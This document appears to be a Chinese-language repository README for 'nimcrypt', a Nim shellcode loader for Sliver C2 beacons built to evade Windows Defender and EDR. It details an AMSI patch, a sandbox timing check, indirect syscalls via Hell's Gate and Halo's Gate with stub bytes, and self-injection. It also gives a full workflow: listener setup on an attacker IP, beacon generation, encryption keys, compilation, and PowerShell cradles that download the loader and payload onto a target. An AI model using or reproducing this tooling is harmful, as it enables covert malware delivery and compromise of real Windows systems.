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已更新Aug 20, 2026

nimcrypt — 已更新!

基于Nim的加密工具，用于混淆shellcode和payload，以逃避Windows Defender检测。

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nimcrypt

一个用 Nim 编写的 Sliver shellcode 加载器，针对 Windows x64。包含两种变体，涵盖最常见的两种投递场景。已在开启实时保护的 Windows Defender 环境下测试通过。

变体

stager

从磁盘读取加密的 shellcode 文件，在内存中解密并自注入。适用于已具备文件投放能力，且需要一个轻量简单二进制文件的场景。

loader.exe <shellcode.bin> [key_hex iv_hex]

密钥和 IV 可选。如果省略，文件将被视为未加密的原始 shellcode。

stageless

通过 Windows WinHTTP 栈从你的 C2 服务器下载加密的 shellcode 文件，在内存中解密并自注入。没有任何文件触及磁盘。适用于你可以在目标上执行一个二进制文件，但无法可靠地投放第二个文件的场景。

在编译前，编辑 stageless/loader.nim 顶部的常量：

c2Host = "C2_HOST"
c2Port = 443'u16
c2Path = "/payload.bin"
scKey  = "..."   # 来自 encrypt.py 的 64 个十六进制字符
scIV   = "..."   # 来自 encrypt.py 的 32 个十六进制字符

技术细节

沙箱逃避

stageless 加载器在启动时调用 Sleep(5000)，并用 GetTickCount64 测量实际经过的时间。如果经过时间少于 4500ms，进程退出。大多数自动化沙箱环境会快速跳过或忽略休眠，导致检测失败。此检查在网络活动或 shellcode 执行之前运行，因此沙箱看不到任何网络行为。

AMSI 绕过

amsi.nim 在运行时通过两层混淆修补 AmsiScanBuffer：

通过 FNV-1a 哈希隐藏字符串。 字符串 AmsiScanBuffer 永远不会出现在二进制文件中。相反，其 FNV-1a 哈希在编译时计算并存储为常量。在运行时，加载器遍历 amsi.dll 的导出表，对每个导出名称进行哈希，并与存储的值进行比较，从而找到函数地址，而无需在内存中保留该字符串。

编译时 XOR 混淆。 DLL 名称 (amsi.dll) 和修补字节 (xor eax, eax; ret = 31 C0 C3) 都在编译时通过 Python 子进程生成的随机密钥进行 XOR 编码。密钥作为常量嵌入，字节在运行时立即解码后使用。每次构建原始字节都会改变，从而破坏修补序列的静态签名。

该修补将 AmsiScanBuffer 的前三个字节覆盖为 xor eax, eax; ret，使得每次调用都返回 AMSI_RESULT_CLEAN，无论输入是什么。

有效载荷加密

encrypt.py 使用 AES-256-CBC 加密原始 shellcode，使用随机生成的 32 字节密钥和 16 字节 IV。加载器使用 Windows BCrypt API 就地解密，因此目标上不需要第三方加密库。

RW 到 RX 内存转换

内存先以 PAGE_READWRITE 分配，shellcode 写入其中，然后在执行前将区域切换为 PAGE_EXECUTE_READ。直接以 PAGE_EXECUTE_READWRITE 分配是一个众所周知的特征，Defender 和 EDR 会明确标记。将写入和执行阶段分开可以避免该模式。

间接系统调用（Hell's Gate + Halo's Gate）

stageless/syscalls.nim 同时绕过了 Win32 API 层（kernel32.dll）以及 EDR 在 ntdll.dll 中放置的任何用户态挂钩。

SSN 解析。 在启动时，加载器获取 ntdll 的基地址并解析其 PE 导出表，收集按 RVA 排序的所有 Nt* 导出。对于每个所需的 NT 函数，它检查前四个字节：

  • 4C 8B D1 B8 (mov r10, rcx; mov eax, imm32) 表示存根是干净的，SSN 直接从字节 4-5 读取。这是 Hell's Gate。
  • 任何其他内容表示函数序言已被 EDR 挂钩修补。在这种情况下，加载器在排序列表中遍历相邻函数，直到找到一个干净的存根，然后通过 邻居_SSN +/- 距离 计算出目标 SSN。按地址顺序，每个存根的 SSN 递增 1。这是 Halo's Gate。

Gadget 定位。 加载器扫描找到的第一个干净 Nt* 存根，寻找字节序列 0F 05 C3 (syscall; ret)。这给出了 ntdll 的映像支持的 .text 段内的一个地址，我们可以重用。

存根生成。 对于每个所需函数，一个 22 字节的存根被写入单个 RW 页面，该页面在使用前切换为 RX：

4C 8B D1              mov r10, rcx
B8 xx xx 00 00        mov eax, <SSN>
FF 25 00 00 00 00     jmp qword ptr [rip+0]
xx xx xx xx xx xx xx xx  gadget 地址

jmp [rip+0] 解引用紧随其后的 8 个字节（gadget 地址）并将执行重定向到 ntdll 中现有的 syscall; ret 序列。syscall 指令从 ntdll 的 .text 段而不是我们的匿名分配区域发出，从而绕过内核级对发出系统调用的内存区域的追踪。

四个通过间接系统调用覆盖的函数是 NtAllocateVirtualMemory、NtProtectVirtualMemory、NtCreateThreadEx 和 NtWaitForSingleObject。

自注入

解密后，stageless 加载器通过 NtAllocateVirtualMemory 在其自身进程中分配一个 RW 区域，通过 copyMem 复制 shellcode，通过 NtProtectVirtualMemory 将区域切换为 RX，然后通过 NtCreateThreadEx 生成一个线程。主线程随后通过 NtWaitForSingleObject 无限阻塞，保持进程存活，同时 beacon 的 goroutine 运行。所有四个调用都通过上述间接系统调用存根进行。

自注入保持调用面最小。没有跨进程 API 调用（如 WriteProcessMemory、CreateRemoteThread 等），这些是经典远程注入的主要检测向量。

执行流程（stageless）

  1. 计时检查：休眠 5 秒，如果经过时间 < 4.5 秒则退出
  2. AMSI 修补：通过 FNV-1a 解析 AmsiScanBuffer，覆盖为 xor eax, eax; ret
  3. 解析间接系统调用存根：解析 ntdll 导出，查找 SSN（Hell's Gate + Halo's Gate），定位 syscall; ret gadget，写入存根
  4. 下载：WinHTTP GET 请求，读取响应体
  5. 解密：通过 BCrypt 就地 AES-256-CBC
  6. 分配：通过间接系统调用 NtAllocateVirtualMemory 在当前进程中分配 RW 内存
  7. 将 shellcode 复制到分配区域
  8. 保护：通过间接系统调用 NtProtectVirtualMemory 切换为 PAGE_EXECUTE_READ
  9. 执行：通过间接系统调用 NtCreateThreadEx
  10. 等待：通过间接系统调用 NtWaitForSingleObject 等待线程句柄

执行流程（stager）

  1. AMSI 修补
  2. 从磁盘读取 shellcode 文件
  3. 如果提供了密钥和 IV 则解密
  4. VirtualAlloc (RW)，复制 shellcode，VirtualProtect 切换为 RX
  5. 通过函数指针转换执行

需求

在你的 Linux 构建机器上：

  • Nim + nimble（nimble install winim）
  • mingw-w64（x86_64-w64-mingw32-gcc）
  • Python 3 + pycryptodome（pip install pycryptodome）

完整工作流

1. 启动 Sliver 监听器

[server] sliver > mtls --lhost 10.10.14.42 --lport 443

2. 生成 beacon shellcode

[server] sliver > generate beacon --mtls 10.10.14.42:443 --os windows --arch amd64 --format shellcode --skip-symbols beacon

3. 加密

python3 encrypt.py beacon.bin
# key: 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997
# iv:  83b82994e8c512d536f7d42e89d6e761

4. 设置常量并编译

编辑 stageless/loader.nim 并设置 c2Host、c2Port、c2Path、scKey、scIV，然后从项目根目录执行：

# stageless
nim c -d:release -o:bins/loader.exe stageless/loader.nim

# stager
nim c -d:release -o:bins/loader.exe stager/loader.nim

始终从项目根目录编译，这样只会加载根目录下的 nim.cfg。输出是一个静态链接的 Windows x64 PE，除了标准系统库外没有外部 DLL 依赖。

5. 服务或传输

Stageless：在匹配 c2Port 的端口上通过 HTTP 提供加密文件：

cd bins && python3 -m http.server 443

Stager：将两个文件传输到目标：

(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/loader.exe", "C:\Windows\Temp\loader.exe")
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/beacon_enc.bin", "C:\Windows\Temp\beacon.bin")

6. 执行

Stageless：

loader.exe

Stager（带加密）：

loader.exe beacon.bin 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997 83b82994e8c512d536f7d42e89d6e761

Stager（无加密）：

loader.exe shellcode.bin

PowerShell 投递

如果通过 PowerShell 下载摇篮投递，加载器运行前 AMSI 会扫描脚本。先在 PS 会话中修补 AMSI：

python3 gen_amsi.py

将输出粘贴到 PS 会话中，然后再下载或执行任何内容。该脚本通过导出表哈希解析 AmsiScanBuffer，因此字符串不会以明文形式出现，并且所有修补字节都使用每个运行随机生成的密钥进行 XOR 编码。

备注

  • 需要 Windows 10 / Server 2016+（通用 CRT）
  • BCryptSetProperty 设置链模式时返回 STATUS_INVALID_PARAMETER，但 BCrypt 默认使用 CBC，解密能正常工作
  • 间接系统调用仅覆盖四个注入关键的 NT 函数。Winsock 和 BCrypt 调用仍然通过其正常的 API 路径进行，这是可以接受的，因为这些调用本身行为上是良性的
  • 存根中的 syscall 指令从 ntdll 的 .text 段内（映像支持，Microsoft 签名）而不是从存根页面发出，从而绕过内核级系统调用来源追踪

参考

你可以在我的博客找到更多关于 Defender 机制、技术及其他工具的详细信息。

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